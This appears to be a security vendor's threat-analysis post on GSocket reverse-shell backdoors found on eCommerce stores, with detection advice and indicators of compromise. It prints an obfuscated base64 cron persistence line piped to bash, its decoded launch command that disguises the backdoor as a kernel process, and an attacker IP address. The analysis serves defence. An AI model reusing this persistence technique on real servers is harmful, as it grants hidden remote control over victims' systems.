Found defunct.dat on your site? You've got a problem.

The Sansec Shield WAF detected mass scans for "defunct.dat" and "qfile" files this week. As it turns out, these files contain connection keys that can be used to launch a GSocket reverse shell, effectively handing over the server to anyone with the key.

To figure out what is going on, we scanned 80,000 stores for these files and found 45 that had running GSocket backdoors. We contacted one of the stores and confirmed that their server had been compromised.

What is GSocket?

GSocket is a popular tool among cybercriminals, as it enables anonymous logins on servers, even if they are behind a firewall or on a private network. It uses a disguised background process that persists via an obfuscated cronjob.

Whac-a-mole with other malware

We correlated the GSocket presence with our daily crawler data. This showed that most of the stores had been infected with other malware as well. Merchants attempted to clean up the infection, but (given that GSocket is cleverly hidden) failed to fix the root problem. In some cases, the attacker managed to reinfect the store 7 times. Sysadmins must have been pulling their hair out.

Noteworthy: this attack is particularly effective on Adobe Commerce Cloud. This platform uses read-only storage for code files, however GSocket can be run from a memory file descriptor and is not affected by this.

Technical analysis

A typical GSocket backdoor uses cron as a method of persistence. It looks like this:

$ crontab -l
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUzMyBkZWZ1bmN0IDI+L2Rldi9udWxsIHx8IFNIRUxMPSBURVJNPXh0ZXJtLTI1NmNvbG9yIEdTX0FSR1M9Ii1rIC92YXIvd3d3L3B1Yi9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvdmFyL3d3dy9wdWIvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel

Which decodes to the launch of gsocket (stored as defunct) and hides as [nm_percpu_wq] (an internal Linux kernel process).

/usr/bin/pkill -0 -U33 defunct 2>/dev/null || SHELL= TERM=xterm-256color GS_ARGS="-k /var/www/pub/defunct.dat -liqD" /usr/bin/bash -c "exec -a '[mm_percpu_wq]' '/var/www/pub/defunct'" 2>/dev/null

In the process list, this shows up as:

www-data 12393  0.0  0.0   3160     4 ?        Ss   Feb02   0:00 [mm_percpu_wq]

We reported about the use of GSocket in eCommerce attacks previously but this time it shows two things:

1. Competing criminals are searching for each other's connection keys.
2. Merchants struggle to clean up hidden backdoors

How to detect & prevent GSocket?

Because GSocket hides itself as various legitimate processes, it can be hard to find. We recommend to run eComscan which will find all instances of GSocket, plus any persistence mechanisms.

A GSocoket backdoor is a symptom of an earlier breach. While this can be anything, the cases we analyzed all show a previous infection using the ICONV bug and/or a TrojanOrder attack. We recommend to run a specialized eCommerce WAF such as Sansec Shield, which would have prevented all of these cases.

IOCs

45.77.95.4
/pub/defunct.dat
/errors/defunct.dat
/pub/qfile
/defunct.dat

Read more

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• CronRAT malware hides behind February 31st
• New linux_avp malware hits eCommerce sites
• eCommerce trojan accidentally leaks victims
• StyleSmuggler: Magento and Adobe Commerce 0-day RCE (CVE-2026-75650) under active attack